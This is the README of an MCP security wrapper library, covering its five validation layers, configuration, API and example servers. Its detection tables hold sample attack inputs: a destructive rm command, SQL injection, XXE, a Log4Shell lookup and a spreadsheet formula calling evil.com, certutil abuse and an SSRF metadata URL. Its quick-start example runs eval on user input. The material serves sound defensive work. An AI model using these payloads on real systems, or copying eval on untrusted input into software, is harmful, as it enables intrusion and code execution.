A secure-by-default MCP server built on the official SDK with 5-layer validation. Provides defense-in-depth against traditional attacks and AI-driven threats.
This framework implements defense-in-depth security with zero configuration required, protecting MCP servers from path traversal, command injection, SQL injection, XSS, prototype pollution, SSRF, and 20+ additional attack vectors.
npm install mcp-secure-serverimport { SecureMcpServer } from 'mcp-secure-server';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
import { z } from 'zod';
// Create secure server (drop-in replacement for McpServer)
const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' }
);
// Register tools exactly like McpServer
server.tool('calculator', 'Basic calculator', {
expression: z.string()
}, async ({ expression }) => {
// Security framework automatically blocks malicious inputs
return { content: [{ type: 'text', text: `Result: ${eval(expression)}` }] };
});
// Connect - transport is automatically wrapped with security
const transport = new StdioServerTransport();
await server.connect(transport);const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
{
enableLogging: true,
verboseLogging: true,
logPerformanceMetrics: true,
logLevel: 'debug'
}
);Full TypeScript support with exported types for all parameters, configurations, and responses.
- Overview
- Architecture
- Security Layers
- Installation
- TypeScript Support
- Quick Start
- Configuration
- API Reference
- HTTP Transport
- Layer 5 Customization
- Security Features
- Attack Coverage
- Error Handling
- Claude Desktop Integration
- Development
- Troubleshooting
- Cookbook Examples
Example MCP servers demonstrating the security framework. Each server includes input validation and attack prevention.
| Server | Description | Tools | Auth |
|---|---|---|---|
| advanced-validation-server | Layer 5 custom validators (PII detection, geofencing, business hours, egress tracking) | Financial query, batch process, export data, API call | None |
| api-wrapper-server | Safe REST API wrapping with domain restrictions and rate limiting | Weather, currency conversion, news headlines | None |
| cli-wrapper-server | Safe CLI tool wrapping with command injection prevention | Git status, image resize, PDF metadata, video encode | None |
| database-server | Secure database operations with SQL injection prevention | User queries, order creation, report generation | None |
| filesystem-server | Protected file system access with path traversal prevention | Read files, list directories, search files | None |
| http-server | Simple HTTP transport with createHttpServer() |
Calculator, echo | None |
| image-gen-server | Unified image generation across 5 providers (BFL, Google, Ideogram, OpenAI, Stability) | Generate, edit, upscale, describe images | API keys |
| kenpom-server | College basketball analytics and efficiency ratings | Ratings, schedules, scouting reports, player stats | KenPom login |
| monitoring-server | Observability with metrics, audit logging, and alerts | Security metrics, audit log, alerts, Prometheus export | None |
| multi-endpoint-server | Multiple HTTP endpoints with createSecureHttpHandler() |
Admin (list-users, system-stats), Public (health, status) | None |
| nba-server | NBA stats, live scores, and player data | Player stats, box scores, live scoreboard | None |
| transaction-server | Method chaining enforcement for secure transaction workflows | Session, accounts, prepare/confirm/execute transactions | None |
See the cookbook README for setup instructions and detailed documentation.
The MCP Security Framework acts as a universal wrapper for any MCP server, providing comprehensive security validation through a multi-layered architecture. It implements:
- 5-Layer Defense Pipeline - Structure, Content, Behavior, Semantics, and Contextual validation
- Zero Configuration - Security enabled by default with sensible defaults
- Universal Compatibility - Works with any MCP server using @modelcontextprotocol/sdk
- Extensible Layer 5 - Add custom validators, domain restrictions, OAuth validation
- Tested - 1067 tests with 86% coverage
- Opt-in Logging - Quiet by default for production use
- Performance Optimized - Content caching and efficient pattern detection
- Full TypeScript Support - Complete type definitions with strict mode
Request → Layer 1 → Layer 2 → Layer 3 → Layer 4 → Layer 5 → MCP Server
│ │ │ │ │
Structure Content Behavior Semantics Contextual
Validation Validation Validation Validation Validation
MCP Security Framework (5 Layers by Default)
│
┌─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐
│ │ │ │ │ │
┌───▼────┐ ┌─────▼─────┐ ┌────▼────┐ ┌────▼─────┐ ┌─────▼──────┐
│ Layer 1│ │ Layer 2 │ │ Layer 3 │ │ Layer 4 │ │ Layer 5 │
│ Struct.│ │ Content │ │ Behavior│ │ Semantics│ │ Contextual │
└────────┘ └───────────┘ └─────────┘ └──────────┘ └────────────┘
│JSON-RPC│ │Injection │ │Rate │ │Tool │ │Custom │
│Format │ │Detection │ │Limiting │ │Contracts │ │Validators │
│Size │ │XSS/SQLi │ │Burst │ │Quotas │ │Domain/OAuth│
│Encoding│ │Path Trav. │ │Patterns │ │Policies │ │Response Val│
└────────┘ └───────────┘ └─────────┘ └──────────┘ └────────────┘
Validates the fundamental structure of incoming JSON-RPC messages.
Protections:
- JSON-RPC 2.0 format validation
- Request size limits (default: 50KB)
- Message encoding validation
- Parameter count limits
- Method name length limits
Configuration:
{
maxMessageSize: 50000, // Maximum message size in bytes
maxParamCount: 100, // Maximum parameter count
maxMethodLength: 256 // Maximum method name length
}Detects and blocks malicious content patterns in request parameters.
Protections:
- Path traversal (
../../../etc/passwd) - Command injection (
$(rm -rf /), backticks, pipes) - SQL injection (
' OR 1=1; DROP TABLE users; --) - NoSQL injection (
{"$where": "..."}) - XSS (
<script>alert('xss')</script>) - Prototype pollution (
{"__proto__": {...}}) - XML entity attacks (XXE, Billion Laughs)
- CRLF injection (
\r\n\r\nheader injection) - SSRF (cloud metadata endpoints)
- CSV injection (formula injection)
- LOLBins (certutil, mshta, regsvr32)
- GraphQL introspection attacks
- Deserialization attacks (Java, PHP, Python, .NET, Ruby)
- JNDI/Log4Shell (
${jndi:ldap://...}) - Buffer overflow patterns
Configuration:
{
contentValidation: {
enabled: true,
debugMode: false // Enable for detailed pattern match info
}
}Rate limiting and request pattern analysis to prevent abuse.
Protections:
- Requests per minute rate limiting
- Requests per hour rate limiting
- Burst detection (requests in 10-second window)
- Request pattern anomaly detection
Configuration:
{
maxRequestsPerMinute: 30, // Rate limit per minute
maxRequestsPerHour: 500, // Rate limit per hour
burstThreshold: 10 // Max requests in 10-second window
}Tool contract enforcement and resource access policies.
Protections:
- Tool argument validation against schemas
- Response size limits (egress control)
- Per-tool quota enforcement
- Side effect declarations
- Filesystem access control via resource policies
- Session management
- Method chaining enforcement (opt-in)
Configuration:
{
toolRegistry: [
{
name: 'my-database-tool',
sideEffects: 'write', // 'none' | 'read' | 'write' | 'network'
maxArgsSize: 5000, // Max argument size in bytes
maxEgressBytes: 100000, // Max response size
quotaPerMinute: 30,
quotaPerHour: 500,
argsShape: { // Expected argument schema
query: { type: 'string' },
limit: { type: 'number' }
}
}
],
resourcePolicy: {
allowedSchemes: ['file'],
rootDirs: ['./data', './public'],
denyGlobs: ['/etc/**', '**/*.key', '**/.env'],
maxPathLength: 4096,
maxReadBytes: 2000000 // 2MB max file read
},
maxSessions: 5000,
sessionTtlMs: 1800000 // 30 minutes
}Layer 4 can enforce valid method call sequences to prevent abuse patterns like calling dangerous tools without proper initialization.
Enable chaining enforcement:
{
enforceChaining: true, // Enable method chaining (default: false)
chainingDefaultAction: 'deny', // 'allow' | 'deny' when no rule matches
chainingRules: [
// Allow any method to call initialize
{ from: '*', to: 'initialize' },
// After initialize, can list tools or resources
{ from: 'initialize', to: 'tools/list' },
{ from: 'initialize', to: 'resources/list' },
// After listing tools, can call them
{ from: 'tools/list', to: 'tools/call' },
// Tool-to-tool calls allowed
{ from: 'tools/call', to: 'tools/call' },
]
}ChainingRule type:
interface ChainingRule {
from: string; // Method to transition from ('*' for any)
to: string; // Method to transition to ('*' for any)
fromTool?: string; // Tool name glob pattern (e.g., 'file-*', '*-http*')
toTool?: string; // Tool name glob pattern
fromSideEffect?: SideEffects; // 'none' | 'read' | 'write' | 'network'
toSideEffect?: SideEffects;
action?: 'allow' | 'deny'; // Default: 'allow'
id?: string; // Rule identifier for logging
description?: string; // Human-readable description
}Advanced example - block dangerous transitions:
{
enforceChaining: true,
chainingDefaultAction: 'allow', // Allow by default
chainingRules: [
// Block read tools from calling write tools directly
{
from: 'tools/call',
to: 'tools/call',
fromSideEffect: 'read',
toSideEffect: 'write',
action: 'deny',
id: 'no-read-to-write'
},
// Block file-* tools from calling *-http* tools
{
from: 'tools/call',
to: 'tools/call',
fromTool: 'file-*',
toTool: '*-http*',
action: 'deny',
id: 'no-file-to-http'
}
]
}Rules are evaluated first-match-wins. Tool patterns use simple glob matching (* = any chars, ? = single char).
Custom validators, domain restrictions, and response filtering. Fully extensible.
Protections:
- Custom validator registration with priorities
- Domain blocklist/allowlist enforcement
- OAuth URL validation
- Response content validation (PII detection, etc.)
- Cross-request state via context store
- Global rules that run before validators
Configuration:
{
contextual: {
enabled: true, // Set false to disable Layer 5
domainRestrictions: {
enabled: true,
blockedDomains: ['evil.com', 'malicious.net'],
allowedDomains: [] // Empty = allow all except blocked
},
oauthValidation: {
enabled: true,
allowedDomains: ['oauth.example.com'],
blockDangerousSchemes: true
},
rateLimiting: {
enabled: true,
limit: 20,
windowMs: 60000
}
}
}# Install in your project
npm install mcp-secure-server
# Or install globally
npm install -g mcp-secure-server# Clone the repository
git clone https://github.com/aself101/mcp-secure-server.git
cd mcp-secure-server
# Install dependencies
npm install
# Build TypeScript
npm run buildDependencies:
@modelcontextprotocol/sdk- MCP SDK (peer dependency)zod- Schema validation (peer dependency)
This package is written in TypeScript with strict mode enabled (noUncheckedIndexedAccess, strictNullChecks). All exports include complete type definitions.
import {
// Main classes
SecureMcpServer,
SecureTransport,
ContextualValidationLayer,
ContextualConfigBuilder,
// Factory functions
createContextualLayer,
// Type guards
isSeverity,
isViolationType,
isError,
getErrorMessage,
// Types
SecurityOptions,
ValidationResult,
Severity,
ViolationType,
ToolSpec,
ResourcePolicy,
ValidationContext
} from 'mcp-secure-server';import { SecureMcpServer, SecurityOptions } from 'mcp-secure-server';
const options: SecurityOptions = {
maxMessageSize: 50000,
maxRequestsPerMinute: 30,
enableLogging: true,
contextual: {
enabled: true,
domainRestrictions: {
enabled: true,
blockedDomains: ['evil.com']
}
}
};
const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
options // TypeScript validates all options
);interface ValidationResult {
passed: boolean;
allowed?: boolean;
severity?: Severity; // 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL'
reason?: string;
violationType?: ViolationType; // 'PATH_TRAVERSAL' | 'SQL_INJECTION' | ...
layerName?: string;
}# Install dependencies
npm install
# Build TypeScript to JavaScript
npm run build
# Output is in dist/
ls dist/
# index.js, index.d.ts, security/*.js, security/*.d.ts, types/*.d.tsconst server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
{
// ═══════════════════════════════════════════
// Layer 1 - Structure Validation
// ═══════════════════════════════════════════
maxMessageSize: 50000, // Max message size (bytes)
maxParamCount: 100, // Max parameters per request
maxMethodLength: 256, // Max method name length
// ═══════════════════════════════════════════
// Layer 2 - Content Validation
// ═══════════════════════════════════════════
// Enabled by default with all pattern detection
// ═══════════════════════════════════════════
// Layer 3 - Behavior Validation
// ═══════════════════════════════════════════
maxRequestsPerMinute: 30, // Rate limit per minute
maxRequestsPerHour: 500, // Rate limit per hour
burstThreshold: 10, // Max requests in 10s window
// ═══════════════════════════════════════════
// Layer 4 - Semantic Validation
// ═══════════════════════════════════════════
toolRegistry: [ // Tool constraints
{
name: 'my-tool',
sideEffects: 'write',
maxArgsSize: 5000,
maxEgressBytes: 100000,
quotaPerMinute: 30
}
],
resourcePolicy: { // Filesystem access control
allowedSchemes: ['file'],
rootDirs: ['./data'],
denyGlobs: ['/etc/**', '**/*.key'],
maxReadBytes: 2000000
},
maxSessions: 5000,
sessionTtlMs: 1800000,
enforceChaining: false, // Enable method chaining (default: false)
chainingDefaultAction: 'deny', // 'allow' | 'deny' when no rule matches
chainingRules: [ // Method transition rules
{ from: '*', to: 'initialize' },
{ from: 'initialize', to: 'tools/list' },
{ from: 'tools/list', to: 'tools/call' },
{ from: 'tools/call', to: 'tools/call' },
// Advanced: tool patterns and side effects
// { from: 'tools/call', to: 'tools/call', fromTool: 'read-*', toTool: 'write-*', action: 'deny' }
],
// ═══════════════════════════════════════════
// Layer 5 - Contextual Validation
// ═══════════════════════════════════════════
contextual: {
enabled: true, // false to disable Layer 5
domainRestrictions: {
enabled: true,
blockedDomains: ['evil.com'],
allowedDomains: [] // Empty = allow all except blocked
},
oauthValidation: {
enabled: true,
allowedDomains: ['oauth.example.com'],
blockDangerousSchemes: true
},
rateLimiting: {
enabled: true,
limit: 20,
windowMs: 60000
}
},
// ═══════════════════════════════════════════
// Logging (all disabled by default)
// ═══════════════════════════════════════════
enableLogging: false, // Enable security logging
verboseLogging: false, // Detailed decision logs
logPerformanceMetrics: false, // Timing statistics
logLevel: 'info' // 'debug' | 'info' | 'warn' | 'error'
}
);Drop-in replacement for McpServer with built-in 5-layer security.
import { SecureMcpServer } from 'mcp-secure-server';
const server = new SecureMcpServer(serverInfo, options);// Register a tool (identical to McpServer)
server.tool(name, description, schema, handler);
// Register a resource
server.resource(name, uri, handler);
// Register a prompt
server.prompt(name, description, handler);
// Connect with secure transport wrapping
await server.connect(transport);
// Close connection
await server.close();
// Check connection status
server.isConnected();// Get security statistics
const stats = server.getSecurityStats();
// { totalRequests, blockedRequests, allowedRequests, byLayer: {...} }
// Get detailed security report (requires enableLogging: true)
const report = server.getVerboseSecurityReport();
// Generate full report to file (requires enableLogging: true)
await server.generateSecurityReport();
// Graceful shutdown with final report
await server.shutdown();server.mcpServer; // Access underlying McpServer
server.server; // Access underlying Server
server.validationPipeline; // Access validation pipelineLow-level transport wrapper for custom implementations.
import { SecureTransport } from 'mcp-secure-server';
const secureTransport = new SecureTransport(
transport, // Original transport
validator, // Validation function
{
errorSanitizer // Optional error sanitizer
}
);For remote MCP servers, use the built-in HTTP transport with security validation. Zero external dependencies - uses node:http directly.
import { SecureMcpServer } from 'mcp-secure-server';
import { z } from 'zod';
const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
{ enableLogging: true }
);
server.tool('add', 'Add two numbers', {
a: z.number(),
b: z.number()
}, async ({ a, b }) => ({
content: [{ type: 'text', text: `${a + b}` }]
}));
// Create HTTP server with security validation
const httpServer = server.createHttpServer({ endpoint: '/mcp' });
httpServer.listen(3000, () => {
console.log('MCP server listening on http://localhost:3000/mcp');
});Configuration options:
interface HttpServerOptions {
endpoint?: string; // MCP endpoint path (default: '/mcp')
maxBodySize?: number; // Max body size in bytes (default: 51200 = 50KB)
}Session ID handling:
| Source | Value | Used By |
|---|---|---|
Mcp-Session-Id header |
Client-provided | Layer 3 rate limiting, Layer 4 quotas |
| Missing header | 'stateless' |
Shared limits across all requests |
Standalone function:
import { SecureMcpServer, createSecureHttpServer } from 'mcp-secure-server';
const server = new SecureMcpServer({ name: 'x', version: '1.0' });
const httpServer = createSecureHttpServer(server, { endpoint: '/api/mcp' });
httpServer.listen(8080);Multiple endpoints:
For services exposing multiple MCP servers on different paths, use createSecureHttpHandler to compose your own routing:
import { SecureMcpServer, createSecureHttpHandler } from 'mcp-secure-server';
import { createServer } from 'node:http';
// Create separate MCP servers with different tools/permissions
const adminServer = new SecureMcpServer({ name: 'admin', version: '1.0' });
const publicServer = new SecureMcpServer({ name: 'public', version: '1.0' });
// Register tools on each server
adminServer.tool('delete-user', ...);
publicServer.tool('get-status', ...);
// Create handlers (validates requests, forwards to MCP SDK transport)
const adminHandler = createSecureHttpHandler(adminServer);
const publicHandler = createSecureHttpHandler(publicServer);
// Compose with custom routing
const httpServer = createServer(async (req, res) => {
if (req.url?.startsWith('/api/admin')) return adminHandler(req, res);
if (req.url?.startsWith('/api/public')) return publicHandler(req, res);
res.writeHead(404).end(JSON.stringify({ error: 'Not found' }));
});
httpServer.listen(3000);| Function | Purpose |
|---|---|
createSecureHttpServer |
Single endpoint, includes routing |
createSecureHttpHandler |
Request handler only, you provide routing |
CORS: Add headers manually or wrap with a CORS middleware.
HTTPS: Use node:https with the same pattern, or deploy behind a reverse proxy.
import {
SecureMcpServer, // Main secure server class
SecureTransport, // Transport wrapper
createSecureHttpServer, // HTTP server factory (single endpoint)
createSecureHttpHandler, // HTTP handler factory (multi-endpoint)
ContextualValidationLayer, // Layer 5 class
ContextualConfigBuilder, // Builder for Layer 5 config
createContextualLayer // Factory for Layer 5
} from 'mcp-secure-server';| Export | Description |
|---|---|
SecureMcpServer |
Drop-in replacement for McpServer with 5-layer security |
SecureTransport |
Transport wrapper for message-level validation |
createSecureHttpServer |
HTTP server factory with security validation |
createSecureHttpHandler |
HTTP handler for composing multi-endpoint servers |
ContextualValidationLayer |
Layer 5 class for advanced customization |
ContextualConfigBuilder |
Builder for Layer 5 configuration |
createContextualLayer |
Factory function for Layer 5 with defaults |
Layer 5 is enabled by default. You can add custom validators at runtime for application-specific security rules.
import { SecureMcpServer } from 'mcp-secure-server';
const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
{
contextual: {
domainRestrictions: {
enabled: true,
blockedDomains: ['evil.com']
}
}
}
);
// Access Layer 5
const layer5 = server.validationPipeline.layers[4];
// Add custom validator with priority (lower = runs first)
layer5.addValidator('sensitive-data-check', (message, context) => {
if (message.params?.arguments?.creditCard) {
return {
passed: false,
reason: 'Credit card data not allowed in requests',
severity: 'HIGH',
violationType: 'SENSITIVE_DATA'
};
}
return { passed: true };
}, { priority: 50, failOnError: true });Global rules run before validators and can short-circuit validation.
layer5.addGlobalRule((message) => {
// Block specific operations
if (message.method === 'admin/delete-all') {
return {
passed: false,
reason: 'Operation not permitted',
severity: 'CRITICAL',
violationType: 'POLICY_VIOLATION'
};
}
return null; // null = pass, continue to validators
});Validate responses before they're sent to clients.
layer5.addResponseValidator('pii-filter', (response) => {
const content = JSON.stringify(response);
// Check for SSN pattern
if (/\d{3}-\d{2}-\d{4}/.test(content)) {
return {
passed: false,
reason: 'PII detected in response',
severity: 'HIGH',
violationType: 'DATA_LEAK'
};
}
return { passed: true };
});Cross-request state management with TTL support.
// Set context with 5-minute TTL
layer5.setContext('user:session:abc123', {
authenticated: true,
roles: ['admin']
}, 300000);
// Get context
const session = layer5.getContext('user:session:abc123');
// Use in validators
layer5.addValidator('auth-check', (message, context) => {
const session = layer5.getContext(`user:session:${context.sessionId}`);
if (!session?.authenticated) {
return {
passed: false,
reason: 'Authentication required',
severity: 'HIGH',
violationType: 'AUTH_REQUIRED'
};
}
return { passed: true };
});const server = new SecureMcpServer(
{ name: 'my-server', version: '1.0.0' },
{ contextual: { enabled: false } }
);See SECURITY.md for full security documentation including:
- Attack detection coverage (injection, XSS, SSRF, deserialization, etc.)
- Security best practices applied
- SSRF protection details
- Error sanitization
- Reporting vulnerabilities
| Attack Type | Example Input | Detection |
|---|---|---|
| Path Traversal | ../../../etc/passwd |
PATH_TRAVERSAL |
| Command Injection | $(rm -rf /) |
COMMAND_INJECTION |
| SQL Injection | ' OR 1=1; DROP TABLE users; -- |
SQL_INJECTION |
| XSS | <script>alert('xss')</script> |
XSS_ATTEMPT |
| Prototype Pollution | {"__proto__": {"admin": true}} |
PROTOTYPE_POLLUTION |
| XXE | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
XML_ENTITY_ATTACK |
| Billion Laughs | <!DOCTYPE lolz [<!ENTITY lol... |
XML_ENTITY_ATTACK |
| CRLF Injection | \r\n\r\nHTTP/1.1 200 OK |
CRLF_INJECTION |
| NoSQL Injection | {"$where": "this.password == ''"} |
NOSQL_INJECTION |
| SSRF | http://169.254.169.254/latest/ |
SSRF_ATTEMPT |
| CSV Injection | =HYPERLINK("http://evil.com") |
CSV_INJECTION |
| LOLBins | certutil -urlcache -split -f |
LOLBIN_ABUSE |
| GraphQL Introspection | {__schema{types{name}}} |
GRAPHQL_INTROSPECTION |
| Java Deserialization | rO0ABXNy... |
DESERIALIZATION_ATTACK |
| PHP Deserialization | O:8:"stdClass":0:{} |
DESERIALIZATION_ATTACK |
| JNDI/Log4Shell | ${jndi:ldap://evil.com/a} |
JNDI_INJECTION |
| Operation | Input | Result |
|---|---|---|
| Calculator | 25 * 4 |
100 |
| File Reader | ./data/config.json |
File contents |
| Echo | Hello World |
Echo: Hello World |
| Database Query | SELECT name FROM users WHERE id = 1 |
Query result |
When validation fails, the framework returns a JSON-RPC error:
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "Request blocked: Path traversal detected"
}
}| Severity | Description | Action |
|---|---|---|
CRITICAL |
Active exploit attempt (command injection, deserialization) | Block + Alert |
HIGH |
Serious attack (SQL injection, path traversal) | Block |
MEDIUM |
Suspicious activity (rate limit, size exceeded) | Block |
LOW |
Minor policy violation | Block or Warn |
import { isError, getErrorMessage, isSeverity } from 'mcp-secure-server';
try {
await server.connect(transport);
} catch (error) {
if (isError(error)) {
console.error('Error:', getErrorMessage(error));
}
}
// Validate severity values
const severity = 'HIGH';
if (isSeverity(severity)) {
// TypeScript knows severity is Severity type
}Add to your Claude Desktop configuration (claude_desktop_config.json):
{
"mcpServers": {
"secure-server": {
"command": "node",
"args": ["path/to/your/server.js"],
"cwd": "/path/to/project"
}
}
}Run the included test server to verify the framework:
npm startThe test server includes 7 protected tools:
debug-calculator- Basic math operationsdebug-file-reader- Safe file readingdebug-echo- Text echo servicedebug-database- Database query simulationdebug-http- HTTP request simulationdebug-parser- JSON/XML parsingdebug-image- Image processing simulation
Add to Claude Desktop:
{
"mcpServers": {
"secure-test": {
"command": "npx",
"args": ["tsx", "test-server/minimal-test-server.ts"],
"cwd": "/path/to/mcp-secure-server"
}
}
}# Run all tests
npm test
# Run specific test suites
npm run test:unit
npm run test:integration
npm run test:performance
# Watch mode for development
npm run test:watch
# Generate coverage report
npm run test:coverageTest Coverage:
- Overall: 86% lines, 86% branches
- 1066 comprehensive tests
- Mutation tests for severity levels
- Boundary value tests for limits
- Real attack vector validation
npx vitest run test/unit/utils/canonical.test.jsnpm run lintsrc/
├── index.ts # Main entry point
├── types/ # TypeScript type definitions
│ ├── index.ts
│ ├── layers.ts # Layer type definitions
│ ├── messages.ts # Message type definitions
│ ├── policies.ts # Policy type definitions
│ └── validation.ts # Validation type definitions
└── security/
├── mcp-secure-server.ts # SecureMcpServer class
├── constants.ts # Configuration constants
├── transport/
│ ├── index.ts # Transport exports
│ ├── secure-transport.ts # SecureTransport class (stdio)
│ └── http-server.ts # HTTP transport server
├── layers/
│ ├── layer1-structure.ts # JSON-RPC validation
│ ├── layer2-content.ts # Content/injection detection
│ ├── layer2-validators/ # Modular content validators
│ ├── layer3-behavior.ts # Rate limiting
│ ├── layer4-semantics.ts # Tool contracts
│ ├── layer5-contextual.ts # Custom validators
│ ├── contextual-config-builder.ts # Layer 5 configuration
│ ├── validation-layer-base.ts # Base class
│ └── layer-utils/
│ ├── content/
│ │ ├── canonicalize.ts # Text normalization
│ │ ├── dangerous-patterns.ts # Attack pattern definitions
│ │ ├── patterns/ # Pattern modules
│ │ └── utils/ # Helper utilities
│ └── semantics/ # Semantic utilities
└── utils/
├── validation-pipeline.ts # Multi-layer orchestration
├── security-logger.ts # Logging system
├── error-sanitizer.ts # Safe error responses
├── request-normalizer.ts # Request normalization
└── tool-registry.ts # Tool management
cookbook/ # Example MCP servers
├── http-server/ # HTTP transport example
├── multi-endpoint-server/ # Multi-endpoint example
├── image-gen-server/ # Image generation APIs
├── kenpom-server/ # Sports analytics
├── api-wrapper-server/ # Safe API wrapper
├── database-server/ # SQL injection prevention
├── filesystem-server/ # Path traversal prevention
├── cli-wrapper-server/ # Command injection prevention
├── monitoring-server/ # Security metrics/alerts
├── transaction-server/ # State machine workflows
└── advanced-validation-server/ # Advanced security demos
Error: Cannot find module '@modelcontextprotocol/sdk'
Solution: Install peer dependencies:
npm install @modelcontextprotocol/sdk zodError: Request blocked: Rate limit exceeded
Solution: Increase rate limits in configuration:
{
maxRequestsPerMinute: 60,
maxRequestsPerHour: 1000
}Error: Request blocked: Path traversal detected
Solution: If legitimate path contains ../, configure resource policy:
{
resourcePolicy: {
rootDirs: ['./allowed-paths'],
// Paths are validated relative to rootDirs
}
}getVerboseSecurityReport() returns empty
Solution: Enable logging in configuration:
{
enableLogging: true,
verboseLogging: true
}Solution: Ensure Layer 5 is enabled:
{
contextual: {
enabled: true // Must be true (default)
}
}Solution: Ensure you're using TypeScript 5.0+ with strict mode:
{
"compilerOptions": {
"strict": true,
"noUncheckedIndexedAccess": true
}
}MIT License - see LICENSE file for details.
- Full TypeScript rewrite - Complete type safety with strict mode
- Zero
anyusage - Type guards for all dynamic data - 1066 tests - Up from 707, includes extended chaining rules tests
- Type exports - All types available for consumers
- Type guards:
isSeverity(),isViolationType(),isError(),getErrorMessage()
- Layer 5 enabled by default - Contextual validation in standard pipeline
- Domain restrictions, OAuth validation, response filtering
- Consolidated into single
SecureMcpServerclass - Logging opt-in (quiet by default)
- 488 tests passing
- SSRF protection with cloud metadata blocking
- Deserialization attack detection
- CSV injection and LOLBins detection
- GraphQL introspection blocking
- 450 tests passing
Disclaimer: This framework provides defense-in-depth security but cannot guarantee protection against all attacks. Always follow security best practices and keep dependencies updated.